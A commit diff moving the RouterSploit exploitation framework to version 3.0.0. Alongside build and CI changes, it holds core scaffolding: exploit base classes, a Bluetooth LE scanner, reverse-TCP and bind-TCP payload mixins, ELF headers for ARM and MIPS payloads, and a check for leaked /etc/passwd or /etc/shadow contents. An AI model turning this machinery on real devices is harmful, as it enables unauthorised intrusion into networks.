Unverified Commit 9380c047 by Marcin Bury Committed by GitHub

Bump v3.0.0 (#385)

* Bump v3.0.0

* Adding Slack invitation link
parent 8a04b08b
......@@ -20,7 +20,6 @@ dist/
downloads/
eggs/
.eggs/
lib/
lib64/
parts/
sdist/
......@@ -45,6 +44,7 @@ htmlcov/
.coverage
.coverage.*
.cache
.pytest_cache
nosetests.xml
coverage.xml
*,cover
......@@ -71,3 +71,7 @@ venv/
# macOS
.DS_Store
.DS_Store?
# vim
*.swp
*.swo
language: python
matrix:
include:
- os: linux
python: 2.7
- os: osx
language: generic
env: PYTHON_VERSION=2.7.13
install:
- "./.travis/install.sh"
script:
- "./.travis/run.sh"
\ No newline at end of file
#!/bin/bash
set -e
set -x
if [[ "$(uname -s)" == 'Darwin' ]]; then
sw_vers
git clone --depth 1 https://github.com/yyuu/pyenv.git ~/.pyenv
PYENV_ROOT="$HOME/.pyenv"
PATH="$PYENV_ROOT/bin:$PATH"
eval "$(pyenv init -)"
pyenv install $PYTHON_VERSION
pyenv global $PYTHON_VERSION
pyenv rehash
pip install --user --upgrade pip==9.0.3
pip install --user virtualenv
python -m virtualenv ~/.venv
source ~/.venv/bin/activate
fi
pip install -r requirements-dev.txt
#!/bin/bash
set -e
set -x
if [[ "$(uname -s)" == "Darwin" ]]; then
PYENV_ROOT="$HOME/.pyenv"
PATH="$PYENV_ROOT/bin:$PATH"
eval "$(pyenv init -)"
source ~/.venv/bin/activate
fi
make lint tests
\ No newline at end of file
......@@ -21,11 +21,13 @@ It is hard to test modules in all possible scenarios. If you would like to help:
1. Check what device you have - identify vendor and version.
2. Check if routersploit contains exploits for the device you posses.
3. If exploit does not work but it should, check "show info" for more information. References should provide you with links to proof of concept exploits.
Example:
```
References:
- https://www.exploit-db.com/exploits/24975/
```
4. Try to use proof of concept exploit and check if it works properly. If it does, feel free to create new issue bug with explanation that the routersploit's module does not work properly.
## Development
......
FROM python:2.7
FROM python:3.6
COPY requirements.txt /tmp/requirements.txt
RUN pip install -r /tmp/requirements.txt
RUN python -m pip install -r /tmp/requirements.txt
WORKDIR /routersploit
COPY . .
CMD ["python", "rsf.py"]
\ No newline at end of file
CMD ["python", "rsf.py"]
......@@ -11,7 +11,7 @@ run:
docker run -it --rm $(RSF_IMAGE)
lint:
flake8 --exclude=__init__.py --ignore=$(FLAKE8_IGNORED_RULES) tests $(MODULES)
flake8 --exclude=__init__.py --ignore=$(FLAKE8_IGNORED_RULES) $(MODULES)
tests: clean
ifeq ($(MODULES), routersploit)
......
future>=0.16.0
requests>=2.9.1
paramiko>=1.16.0
beautifulsoup4>=4.4.1
pysnmp>=4.3.2
pexpect
mock
flake8
from routersploit.utils import (
print_error,
print_status,
print_success,
print_table,
print_info,
sanitize_url,
LockedIterator,
random_text,
http_request,
boolify,
mute,
multi,
index_modules,
ssh_interactive,
tokenize,
)
from routersploit import exploits
from routersploit import payloads
from routersploit import wordlists
from routersploit import validators
from routersploit.shell import shell
from .btle_device import (
Device
)
from .btle_scanner import (
BTLEScanner,
ScanDelegate
)
import time
import binascii
from bluepy.btle import Scanner, DefaultDelegate
from .btle_device import Device
class BTLEScanner(Scanner):
""" Bluetooth Low Energy Scanner """
def __init__(self, mac=None, iface=0):
Scanner.__init__(self, iface)
self.mac = mac
def _decode_address(self, resp):
addr = binascii.b2a_hex(resp["addr"][0]).decode("utf-8")
return ":".join([addr[i : i + 2] for i in range(0, 12, 2)])
def _find_or_create(self, addr):
if addr in self.scanned:
dev = self.scanned[addr]
else:
dev = Device(addr, self.iface)
self.scanned[addr] = dev
return dev
def process(self, timeout=10.0):
start = time.time()
while True:
if timeout:
remain = start + timeout - time.time()
if remain <= 0.0:
break
else:
remain = None
resp = self._waitResp(["scan", "stat"], remain)
if resp is None:
break
respType = resp["rsp"][0]
if respType == "stat":
if resp["state"][0] == "disc":
self._mgmtCmd("scan")
elif respType == "scan":
addr = self._decode_address(resp)
if not self.mac or addr == self.mac:
dev = self._find_or_create(addr)
newData = dev._update(resp)
if self.delegate:
self.delegate.handleDiscovery(dev, (dev.updateCount <= 1), newData)
if self.mac and dev.addr == self.mac:
break
class ScanDelegate(DefaultDelegate):
def __init__(self, options):
DefaultDelegate.__init__(self)
self.options = options
def handleDiscovery(self, dev, isNewDev, isNewData):
if not isNewDev:
return
elif self.options.mac and dev.addr != self.options.mac:
return
if self.options.buffering:
dev.print_info()
from routersploit.core.exploit.exploit import Exploit
from routersploit.core.exploit.option import OptInteger
from routersploit.core.exploit.printer import (
print_error,
print_status
)
from routersploit.core.bluetooth.btle import (
ScanDelegate,
BTLEScanner
)
class Options:
""" Options used by the scanner """
def __init__(self, buffering, mac, enum_services):
self.buffering = buffering
self.mac = mac
self.enum_services = enum_services
class BTLEClient(Exploit):
""" Bluetooth Low Energy Client implementation """
scan_time = OptInteger(10, "Number of seconds to scan for")
buffering = False
enum_services = False
def btle_scan(self, mac=None):
""" Scans for Bluetooth Low Energy devices """
options = Options(
self.buffering,
mac,
self.enum_services
)
scanner = BTLEScanner(options.mac).withDelegate(ScanDelegate(options))
if options.mac:
print_status("Scanning BTLE device...")
else:
print_status("Scanning for BTLE devices...")
devices = []
try:
devices = [res for res in scanner.scan(self.scan_time)]
except Exception as err:
print_error("Error: {}".format(err))
print_error("Check if your bluetooth hardware is connected")
return devices
from routersploit.core.exploit.exploit import (
Exploit,
multi,
mute,
LockedIterator,
)
from routersploit.core.exploit.option import (
OptIP,
OptPort,
OptInteger,
OptFloat,
OptBool,
OptString,
OptMAC,
OptWordlist,
)
from routersploit.core.exploit.printer import (
print_info,
print_status,
print_success,
print_error,
print_table,
)
import routersploit.core.exploit.utils
from routersploit.core.exploit.shell import shell
import logging
LOGGER = logging.getLogger(__name__)
class RoutersploitException(Exception):
def __init__(self, msg=''):
def __init__(self, msg=""):
super(RoutersploitException, self).__init__(msg)
LOGGER.exception(self)
class OptionValidationError(RoutersploitException):
......
import os
import threading
import time
import concurrent.futures
from future.utils import with_metaclass, iteritems
from itertools import chain
from functools import wraps
from routersploit.core.exploit.printer import (
print_status,
print_error,
thread_output_stream,
)
from routersploit.core.exploit.option import Option
GLOBAL_OPTS = {}
class ExploitOptionsAggregator(type):
""" Metaclass for exploit base class.
Metaclass is aggregating all possible Attributes that user can set
for tab completion purposes.
"""
def __new__(cls, name, bases, attrs):
try:
base_exploit_attributes = chain([base.exploit_attributes for base in bases])
except AttributeError:
attrs["exploit_attributes"] = {}
else:
attrs["exploit_attributes"] = {k: v for d in base_exploit_attributes for k, v in iteritems(d)}
for key, value in iteritems(attrs):
if isinstance(value, Option):
value.label = key
attrs["exploit_attributes"].update({key: [value.display_value, value.description]})
elif key == "__info__":
attrs["_{}{}".format(name, key)] = value
del attrs[key]
elif key in attrs["exploit_attributes"]: # removing exploit_attribtue that was overwritten
del attrs["exploit_attributes"][key] # in the child and is not an Option() instance
return super(ExploitOptionsAggregator, cls).__new__(cls, name, bases, attrs)
class BaseExploit(with_metaclass(ExploitOptionsAggregator, object)):
@property
def options(self):
""" Returns list of options that user can set.
Returns list of options aggregated by
ExploitionOptionsAggegator metaclass that user can set.
:return: list of options that user can set
"""
return list(self.exploit_attributes.keys())
def __str__(self):
return self.__module__.split('.', 2).pop().replace('.', os.sep)
class Exploit(BaseExploit):
""" Base class for exploits """
target_protocol = "custom"
def run(self):
raise NotImplementedError("You have to define your own 'run' method.")
def check(self):
raise NotImplementedError("You have to define your own 'check' method.")
def run_threads(self, threads_number, target_function, *args, **kwargs):
threads = []
threads_running = threading.Event()
threads_running.set()
for thread_id in range(int(threads_number)):
thread = threading.Thread(
target=target_function,
args=chain((threads_running,), args),
kwargs=kwargs,
name="thread-{}".format(thread_id),
)
threads.append(thread)
print_status("{} thread is starting...".format(thread.name))
thread.start()
start = time.time()
try:
while thread.isAlive():
thread.join(1)
except KeyboardInterrupt:
threads_running.clear()
for thread in threads:
thread.join()
print_status("{} thread is terminated.".format(thread.name))
print_status("Elapsed time: {} seconds".format(time.time() - start))
def multi(fn):
""" Decorator for exploit.Exploit class
Decorator that allows to feed exploit using text file containing
multiple targets definition. Decorated function will be executed
as many times as there is targets in the feed file.
WARNING:
Important thing to remember is fact that decorator will
supress values returned by decorated function. Since method that
perform attack is not supposed to return anything this is not a problem.
"""
@wraps(fn)
def wrapper(self, *args, **kwargs):
if self.target.startswith("file://"):
original_target = self.target
original_port = self.port
_, _, feed_path = self.target.partition("file://")
try:
with open(feed_path) as file_handler:
for target in file_handler:
target = target.strip()
if not target:
continue
self.target, _, port = target.partition(":")
if port:
self.port = port
else:
self.port = original_port
fn(self, *args, **kwargs)
self.target = original_target
self.port = original_port
return # Nothing to return, ran multiple times
except IOError:
return
else:
return fn(self, *args, **kwargs)
return wrapper
class DummyFile(object):
""" Mocking file object. Optimilization for the "mute" decorator. """
def write(self, x):
pass
def mute(fn):
""" Suppress function from printing to sys.stdout """
@wraps(fn)
def wrapper(self, *args, **kwargs):
thread_output_stream.setdefault(threading.current_thread(), []).append(DummyFile())
try:
return fn(self, *args, **kwargs)
finally:
thread_output_stream[threading.current_thread()].pop()
return wrapper
class LockedIterator(object):
def __init__(self, it):
self.lock = threading.Lock()
self.it = it.__iter__()
def __iter__(self):
return self
def next(self):
self.lock.acquire()
try:
item = next(self.it)
if type(item) is tuple:
return (item[0].strip(), item[1].strip())
elif type(item) is str:
return item.strip()
return item
finally:
self.lock.release()
class Protocol:
TCP = "custom/tcp"
UDP = "custom/udp"
FTP = "ftp"
FTPS = "ftps"
SSH = "ssh"
TELNET = "telnet"
HTTP = "http"
HTTPS = "https"
SNMP = "snmp"
import re
import os.path
from routersploit.core.exploit.exceptions import OptionValidationError
from routersploit.core.exploit.utils import (
is_ipv4,
is_ipv6,
)
class Option(object):
""" Exploit attribute that is set by the end user """
def __init__(self, default, description=""):
self.label = None
self.description = description
self.default = default
self.display_value = default
self.value = default
def __get__(self, instance, owner):
return self.value
def __set__(self, instance, value):
if self._apply_widget(value):
self.display_value = value
self.value = value
def set_label(self, label):
self.label = label
class OptIP(Option):
""" Option IP attribute """
def _apply_widget(self, value):
if is_ipv4(value) or is_ipv6(value):
return value
else:
raise OptionValidationError("Invalid address. Provided address is not valid IPv4 or IPv6 address.")
class OptPort(Option):
""" Option Port attribute """
def _apply_widget(self, value):
try:
value = int(value)
if 0 < value <= 65535: # max port number is 65535
return value
else:
raise OptionValidationError("Invalid option. Port value should be between 0 and 65536.")
except ValueError:
raise OptionValidationError("Invalid option. Cannot cast '{}' to integer.".format(value))
class OptBool(Option):
""" Option Bool attribute """
def _apply_widget(self, value):
if value in ["true", "false"]:
return value
else:
raise OptionValidationError("Invalid value. It should be true or false.")
def __get__(self, instance, owner):
if self.display_value == "true":
return True
return False
class OptInteger(Option):
""" Option Integer attribute """
def _apply_widget(self, value):
try:
return int(value)
except ValueError:
raise OptionValidationError("Invalid option. Cannot cast '{}' to integer.".format(value))
class OptFloat(Option):
""" Option Float attribute """
def _apply_widget(self, value):
try:
return float(value)
except ValueError:
raise OptionValidationError("Invalid option. Cannot cast '{}' to float.".format(value))
class OptString(Option):
""" Option String attribute """
def _apply_widget(self, value):
try:
return str(value)
except ValueError:
raise OptionValidationError("Invalid option. Cannot cast '{}' to string.".format(value))
class OptMAC(Option):
""" Option MAC attribute """
def _apply_widget(self, value):
regexp = r"^[a-f\d]{1,2}:[a-f\d]{1,2}:[a-f\d]{1,2}:[a-f\d]{1,2}:[a-f\d]{1,2}:[a-f\d]{1,2}$"
if re.match(regexp, value.lower()):
return value
else:
raise OptionValidationError("Invalid option. '{}' is not a valid MAC address".format(value))
class OptWordlist(Option):
""" Option Wordlist attribtue """
def _apply_widget(self, value):
if value.startswith("file://"):
path = value.replace("file://", "")
if not os.path.exists(path):
raise OptionValidationError("File '{}' does not exist.".format(path))
return value
return value
def __get__(self, instance, owner):
if self.display_value.startswith("file://"):
path = self.display_value.replace("file://", "")
with open(path, "r") as f:
lines = [line.strip() for line in f.readlines()]
return lines
return self.display_value.split(",")
def __set__(self, instance, value):
self.display_value = value
from collections import namedtuple
from struct import pack
from future.utils import with_metaclass
from routersploit import exploits, validators
from routersploit.exceptions import OptionValidationError
from utils import print_info, print_status, print_success, print_error, random_text
from routersploit.core.exploit.exploit import (
BaseExploit,
ExploitOptionsAggregator,
)
from routersploit.core.exploit.option import (
OptIP,
OptPort,
OptString,
)
from routersploit.core.exploit.exceptions import OptionValidationError
from routersploit.core.exploit.printer import (
print_status,
print_error,
print_success,
print_info,
)
from routersploit.core.exploit.utils import (
random_text,
)
architectures = namedtuple("ArchitectureType", ["ARMLE", "MIPSBE", "MIPSLE"])
......@@ -22,51 +40,44 @@ PayloadHandlers = payload_handlers(
ARCH_ELF_HEADERS = {
Architectures.ARMLE: (
"\x7f\x45\x4c\x46\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x02\x00\x28\x00\x01\x00\x00\x00\x54\x80\x00\x00\x34\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x34\x00\x20\x00\x01\x00\x00\x00"
"\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x80\x00\x00"
"\x00\x80\x00\x00\xef\xbe\xad\xde\xef\xbe\xad\xde\x07\x00\x00\x00"
"\x00\x10\x00\x00"
b"\x7f\x45\x4c\x46\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00"
b"\x02\x00\x28\x00\x01\x00\x00\x00\x54\x80\x00\x00\x34\x00\x00\x00"
b"\x00\x00\x00\x00\x00\x00\x00\x00\x34\x00\x20\x00\x01\x00\x00\x00"
b"\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x80\x00\x00"
b"\x00\x80\x00\x00\xef\xbe\xad\xde\xef\xbe\xad\xde\x07\x00\x00\x00"
b"\x00\x10\x00\x00"
),
Architectures.MIPSBE: (
"\x7f\x45\x4c\x46\x01\x02\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x02\x00\x08\x00\x00\x00\x01\x00\x40\x00\x54\x00\x00\x00\x34"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x34\x00\x20\x00\x01\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x40\x00\x00"
"\x00\x40\x00\x00\xde\xad\xbe\xef\xde\xad\xbe\xef\x00\x00\x00\x07"
"\x00\x00\x10\x00"
b"\x7f\x45\x4c\x46\x01\x02\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00"
b"\x00\x02\x00\x08\x00\x00\x00\x01\x00\x40\x00\x54\x00\x00\x00\x34"
b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x34\x00\x20\x00\x01\x00\x00"
b"\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x40\x00\x00"
b"\x00\x40\x00\x00\xde\xad\xbe\xef\xde\xad\xbe\xef\x00\x00\x00\x07"
b"\x00\x00\x10\x00"
),
Architectures.MIPSLE: (
"\x7f\x45\x4c\x46\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x02\x00\x08\x00\x01\x00\x00\x00\x54\x00\x40\x00\x34\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x34\x00\x20\x00\x01\x00\x00\x00"
"\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00"
"\x00\x00\x40\x00\xef\xbe\xad\xde\xef\xbe\xad\xde\x07\x00\x00\x00"
"\x00\x10\x00\x00"
b"\x7f\x45\x4c\x46\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00"
b"\x02\x00\x08\x00\x01\x00\x00\x00\x54\x00\x40\x00\x34\x00\x00\x00"
b"\x00\x00\x00\x00\x00\x00\x00\x00\x34\x00\x20\x00\x01\x00\x00\x00"
b"\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00"
b"\x00\x00\x40\x00\xef\xbe\xad\xde\xef\xbe\xad\xde\x07\x00\x00\x00"
b"\x00\x10\x00\x00"
),
}
class ReverseTCPPayloadMixin(object):
__metaclass__ = exploits.ExploitOptionsAggregator
class ReverseTCPPayloadMixin(with_metaclass(ExploitOptionsAggregator, object)):
handler = PayloadHandlers.REVERSE_TCP
lhost = exploits.Option('', 'Connect-back IP address',
validators=validators.ipv4)
lport = exploits.Option(5555, 'Connect-back TCP Port',
validators=validators.integer)
lhost = OptIP('', 'Connect-back IP address')
lport = OptPort(5555, 'Connect-back TCP Port')
class BindTCPPayloadMixin(object):
__metaclass__ = exploits.ExploitOptionsAggregator
class BindTCPPayloadMixin(with_metaclass(ExploitOptionsAggregator, object)):
handler = PayloadHandlers.BIND_TCP
rport = exploits.Option(5555, 'Bind Port',
validators=validators.integer)
rport = OptPort(5555, 'Bind Port')
class BasePayload(exploits.BaseExploit):
class BasePayload(BaseExploit):
handler = None
def __init__(self):
......@@ -87,8 +98,8 @@ class BasePayload(exploits.BaseExploit):
class ArchitectureSpecificPayload(BasePayload):
architecture = None
output = exploits.Option('python', 'Output type: elf/c/python')
filepath = exploits.Option(
output = OptString('python', 'Output type: elf/c/python')
filepath = OptString(
"/tmp/{}".format(random_text(8)), 'Output file to write'
)
......@@ -113,7 +124,7 @@ class ArchitectureSpecificPayload(BasePayload):
return
if self.output == "elf":
with open(self.filepath, 'w+') as f:
with open(self.filepath, 'wb+') as f:
print_status("Building ELF payload")
content = self.generate_elf(data)
print_success("Saving file {}".format(self.filepath))
......@@ -150,7 +161,7 @@ class ArchitectureSpecificPayload(BasePayload):
for idx, x in enumerate(data):
if idx % 15 == 0 and idx != 0:
res += "\"\n \""
res += "\\x%02x" % ord(x)
res += "\\x%02x" % x
res += "\"\n};"
return res
......@@ -160,7 +171,7 @@ class ArchitectureSpecificPayload(BasePayload):
for idx, x in enumerate(data):
if idx % 15 == 0 and idx != 0:
res += "\"\n \""
res += "\\x%02x" % ord(x)
res += "\\x%02x" % x
res += "\"\n)"
return res
......
from __future__ import print_function
from __future__ import absolute_import
import threading
import sys
import collections
from weakref import WeakKeyDictionary
try:
import queue
except ImportError: # Python 3.x
import Queue as queue
printer_queue = queue.Queue()
thread_output_stream = WeakKeyDictionary()
PrintResource = collections.namedtuple("PrintResource", ["content", "sep", "end", "file", "thread"])
class PrinterThread(threading.Thread):
def __init__(self):
super(PrinterThread, self).__init__()
self.daemon = True
def run(self):
while True:
content, sep, end, file_, thread = printer_queue.get()
print(*content, sep=sep, end=end, file=file_)
printer_queue.task_done()
def __cprint(*args, **kwargs):
""" Color print()
Signature like Python 3 print() function
print([object, ...][, sep=' '][, end='\n'][, file=sys.stdout])
"""
if not kwargs.pop("verbose", True):
return
color = kwargs.get("color", None)
sep = kwargs.get("sep", " ")
end = kwargs.get("end", "\n")
thread = threading.current_thread()
try:
file_ = thread_output_stream.get(thread, ())[-1]
except IndexError:
file_ = kwargs.get("file", sys.stdout)
if color:
printer_queue.put(PrintResource(content="\033[{}m".format(colors[color]), end="", file=file_, sep=sep, thread=thread))
printer_queue.put(PrintResource(content=args, end="", file=file_, sep=sep, thread=thread)) # TODO printing text that starts from newline
printer_queue.put(PrintResource(content="\033[0m", sep=sep, end=end, file=file_, thread=thread))
else:
printer_queue.put(PrintResource(content=args, sep=sep, end=end, file=file_, thread=thread))
def print_error(*args, **kwargs):
__cprint("\033[91m[-]\033[0m", *args, **kwargs)
def print_status(*args, **kwargs):
__cprint("\033[94m[*]\033[0m", *args, **kwargs)
def print_success(*args, **kwargs):
__cprint("\033[92m[+]\033[0m", *args, **kwargs)
def print_info(*args, **kwargs):
__cprint(*args, **kwargs)
def print_table(headers, *args, **kwargs):
""" Print table.
example:
Name Current setting Description
---- --------------- -----------
option_name value description
foo bar baz
foo bar baz
:param headers: Headers names ex.('Name, 'Current setting', 'Description')
:param args: table values, each element representing one line ex. ('option_name', 'value', 'description), ...
:param kwargs: 'extra_fill' space between columns, 'header_separator' character to separate headers from content
:return:
"""
extra_fill = kwargs.get("extra_fill", 5)
header_separator = kwargs.get("header_separator", "-")
if not all(map(lambda x: len(x) == len(headers), args)):
print_error("Headers and table rows tuples should be the same length.")
return
def custom_len(x):
try:
return len(x)
except TypeError:
return 0
fill = []
headers_line = ' '
headers_separator_line = ' '
for idx, header in enumerate(headers):
column = [custom_len(arg[idx]) for arg in args]
column.append(len(header))
current_line_fill = max(column) + extra_fill
fill.append(current_line_fill)
headers_line = "".join((headers_line, "{header:<{fill}}".format(header=header, fill=current_line_fill)))
headers_separator_line = "".join((
headers_separator_line,
"{:<{}}".format(header_separator * len(header), current_line_fill)
))
print_info()
print_info(headers_line)
print_info(headers_separator_line)
for arg in args:
content_line = " "
for idx, element in enumerate(arg):
content_line = "".join((
content_line,
"{:<{}}".format(element, fill[idx])
))
print_info(content_line)
print_info()
def pprint_dict_in_order(dictionary, order=None):
""" Pretty dict print.
Pretty printing dictionary in specific order. (as in 'show info' command)
Keys not mentioned in *order* parameter will be printed in random order.
ex. pprint_dict_in_order({'name': John, 'sex': 'male', "hobby": ["rugby", "golf"]}, ('sex', 'name'))
Sex:
male
Name:
John
Hobby:
- rugby
- golf
"""
order = order or ()
def prettyprint(title, body):
print_info("\n{}:".format(title.capitalize()))
if not isinstance(body, str):
for value_element in body:
print_info("- ", value_element)
else:
print_info(body)
keys = list(dictionary.keys())
for element in order:
try:
key = keys.pop(keys.index(element))
value = dictionary[key]
except (KeyError, ValueError):
pass
else:
prettyprint(element, value)
for rest_keys in keys:
prettyprint(rest_keys, dictionary[rest_keys])
def color_blue(string):
""" Returns string colored with blue """
return "\033[94m{}\033[0m".format(string)
def color_green(string):
""" Returns string colored with green """
return "\033[92m{}\033[0m".format(string)
def color_red(string):
""" Returns string colored with red """
return "\033[91m{}\033[0m".format(string)
import re
import os
import importlib
import string
import random
from functools import wraps
import routersploit.modules as rsf_modules
import routersploit.resources.wordlists as wordlists
from routersploit.core.exploit.printer import print_error
from routersploit.core.exploit.exceptions import RoutersploitException
MODULES_DIR = rsf_modules.__path__[0]
WORDLISTS_DIR = wordlists.__path__[0]
def random_text(length, alph=string.ascii_letters + string.digits):
return ''.join(random.choice(alph) for _ in range(length))
def is_ipv4(address):
""" Checks if given address is valid IPv4 address """
regexp = "^(?:(?:[0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\\.){3}(?:[0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])$"
if re.match(regexp, address):
return True
return False
def is_ipv6(address):
""" Checks if given address is valid IPv6 address """
regexp = "^(?:(?:[0-9A-Fa-f]{1,4}:){6}(?:[0-9A-Fa-f]{1,4}:[0-9A-Fa-f]{1,4}|(?:(?:[0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\\.){3}(?:[0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5]))|::(?:[0-9A-Fa-f]{1,4}:){5}(?:[0-9A-Fa-f]{1,4}:[0-9A-Fa-f]{1,4}|(?:(?:[0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\\.){3}(?:[0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5]))|(?:[0-9A-Fa-f]{1,4})?::(?:[0-9A-Fa-f]{1,4}:){4}(?:[0-9A-Fa-f]{1,4}:[0-9A-Fa-f]{1,4}|(?:(?:[0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\\.){3}(?:[0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5]))|(?:[0-9A-Fa-f]{1,4}:[0-9A-Fa-f]{1,4})?::(?:[0-9A-Fa-f]{1,4}:){3}(?:[0-9A-Fa-f]{1,4}:[0-9A-Fa-f]{1,4}|(?:(?:[0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\\.){3}(?:[0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5]))|(?:(?:[0-9A-Fa-f]{1,4}:){,2}[0-9A-Fa-f]{1,4})?::(?:[0-9A-Fa-f]{1,4}:){2}(?:[0-9A-Fa-f]{1,4}:[0-9A-Fa-f]{1,4}|(?:(?:[0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\\.){3}(?:[0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5]))|(?:(?:[0-9A-Fa-f]{1,4}:){,3}[0-9A-Fa-f]{1,4})?::[0-9A-Fa-f]{1,4}:(?:[0-9A-Fa-f]{1,4}:[0-9A-Fa-f]{1,4}|(?:(?:[0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\\.){3}(?:[0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5]))|(?:(?:[0-9A-Fa-f]{1,4}:){,4}[0-9A-Fa-f]{1,4})?::(?:[0-9A-Fa-f]{1,4}:[0-9A-Fa-f]{1,4}|(?:(?:[0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\\.){3}(?:[0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5]))|(?:(?:[0-9A-Fa-f]{1,4}:){,5}[0-9A-Fa-f]{1,4})?::[0-9A-Fa-f]{1,4}|(?:(?:[0-9A-Fa-f]{1,4}:){,6}[0-9A-Fa-f]{1,4})?::)%.*$"
if re.match(regexp, address):
return True
return False
def convert_ip(address):
""" Converts IP to bytes """
res = b""
for i in address.split("."):
res += bytes([int(i)])
return res
def convert_port(port):
""" Converts Port to bytes """
res = "%.4x" % int(port)
return bytes.fromhex(res)
def index_modules(modules_directory=MODULES_DIR):
""" Returns list of all exploits modules """
modules = []
for root, dirs, files in os.walk(modules_directory):
_, package, root = root.rpartition("routersploit/modules/".replace("/", os.sep))
root = root.replace(os.sep, ".")
files = filter(lambda x: not x.startswith("__") and x.endswith(".py"), files)
modules.extend(map(lambda x: ".".join((root, os.path.splitext(x)[0])), files))
return modules
def import_exploit(path):
""" Imports exploit module
:param path: absolute path to exploit e.g. routersploit.modules.exploits.asus_auth_bypass
:return: exploit module or error
"""
try:
module = importlib.import_module(path)
return getattr(module, "Exploit")
except (ImportError, AttributeError, KeyError) as err:
raise RoutersploitException(
"Error during loading '{}'\n\n"
"Error: {}\n\n"
"It should be valid path to the module. "
"Use <tab> key multiple times for completion.".format(humanize_path(path), err)
)
def iter_modules(modules_directory=MODULES_DIR):
""" Iterates over valid modules """
modules = index_modules(modules_directory)
modules = map(lambda x: "".join(["routersploit.modules.", x]), modules)
for path in modules:
try:
yield import_exploit(path)
except RoutersploitException:
pass
def pythonize_path(path):
""" Replaces argument to valid python dotted notation.
ex. foo/bar/baz -> foo.bar.baz
"""
return path.replace("/", ".")
def humanize_path(path):
""" Replace python dotted path to directory-like one.
ex. foo.bar.baz -> foo/bar/baz
:param path: path to humanize
:return: humanized path
"""
return path.replace(".", "/")
def module_required(fn):
""" Checks if module is loaded.
Decorator that checks if any module is activated
before executing command specific to modules (ex. 'run').
"""
@wraps(fn)
def wrapper(self, *args, **kwargs):
if not self.current_module:
print_error("You have to activate any module with 'use' command.")
return
return fn(self, *args, **kwargs)
try:
name = "module_required"
wrapper.__decorators__.append(name)
except AttributeError:
wrapper.__decorators__ = [name]
return wrapper
def stop_after(space_number):
""" Decorator that determines when to stop tab-completion
Decorator that tells command specific complete function
(ex. "complete_use") when to stop tab-completion.
Decorator counts number of spaces (' ') in line in order
to determine when to stop.
ex. "use exploits/dlink/specific_module " -> stop complete after 2 spaces
"set rhost " -> stop completing after 2 spaces
"run " -> stop after 1 space
:param space_number: number of spaces (' ') after which tab-completion should stop
:return:
"""
def _outer_wrapper(wrapped_function):
@wraps(wrapped_function)
def _wrapper(self, *args, **kwargs):
try:
if args[1].count(" ") == space_number:
return []
except Exception as err:
print_info(err)
return wrapped_function(self, *args, **kwargs)
return _wrapper
return _outer_wrapper
def lookup_vendor(addr):
""" Lookups vendor (manufacturer) based on MAC address """
addr = addr.upper().replace(":", "")
path = "./routersploit/resources/vendors/oui.dat"
with open(path, "r") as f:
for line in f.readlines():
line = line.strip()
if line == "" or line[0] == "#":
continue
mac, name = line.split(" ", 1)
if addr.startswith(mac):
return name
return None
class Version(object):
def __init__(self, value):
self.value = str(value)
def __set__(self, value):
self.value = value
def __lt__(self, other):
"""Override the default x<y"""
if self._compare_versions(self.value, other.value) < 0:
return True
return False
def __le__(self, other):
"""Override the default x<=y"""
if self._compare_versions(self.value, other.value) <= 0:
return True
return False
def __eq__(self, other):
"""Override the default x==y"""
return self.value == other.value
def __ne__(self, other):
"""Override the default x!=y or x<>y"""
return self.value != other.value
def __gt__(self, other):
"""Override the defualt x>y"""
if self._compare_versions(self.value, other.value) > 0:
return True
return False
def __ge__(self, other):
"""Override the default x>=y"""
if self._compare_versions(self.value, other.value) >= 0:
return True
return False
@staticmethod
def _compare_versions(version1, version2):
"""
Simple and dirty implementation
if version1 < version2 then -1
if version1 == version2 then 0
if version1 > version2 then 1
"""
arr1 = re.sub("\D", ".", str(version1)).split(".")
arr2 = re.sub("\D", ".", str(version2)).split(".")
i = 0
while(i < len(arr1)):
if int(arr2[i]) > int(arr1[i]):
return -1
if int(arr1[i]) > int(arr2[i]):
return 1
i += 1
return 0
def detect_file_content(content, f="/etc/passwd"):
if f in ["/etc/passwd", "/etc/shadow"]:
if re.findall(r"(root|[aA]dmin):.*?:.*?:.*?:.*?:.*?:", content):
return True
return False
import socket
import ftplib
from routersploit.core.exploit.exploit import Exploit
from routersploit.core.exploit.exploit import Protocol
